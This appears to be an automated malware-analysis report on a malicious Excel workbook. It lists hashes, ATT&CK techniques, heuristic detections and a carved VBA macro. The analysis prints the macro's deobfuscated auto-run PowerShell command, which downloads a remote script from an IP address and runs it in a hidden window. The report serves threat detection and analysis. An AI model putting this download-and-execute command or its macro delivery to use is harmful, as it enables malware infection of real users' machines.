Office (OLE) / .XLS malware analysis — malicious · 54e2f1ae62fd2e9e

MALICIOUS

Office (OLE) / .XLS

147.5 KB Created: 2022-01-11 15:33:54 Authoring application: Microsoft Excel Online

MD5: 40f3bf0c5442b10130ac3f37a9f8877e SHA-1: dc75c483aacdbccec852416ba864f514dc7dc772 SHA-256: 54e2f1ae62fd2e9e6c8f33212e5477f867142929cfefbdba709df4fc1dc56856

180 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.002 Malicious File T1059.005 Visual Basic

The Workbook_Open macro is designed to execute a PowerShell command. This command is obfuscated using string concatenation and replacement functions, but ultimately reconstructs to 'powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString(\'http://45.153.23.236/BB/PS1.txt\')"'. This PowerShell command downloads content from the specified URL and executes it, indicating a downloader or droppper functionality. The high confidence is due to the clear Workbook_Open execution and the reconstructed PowerShell command.

Heuristics 5

Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `b4e37cb98bc5fc2aabcd9cb9e8a6c7a37c48c7bfd9547d598e80cd12a55cd209`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	2078 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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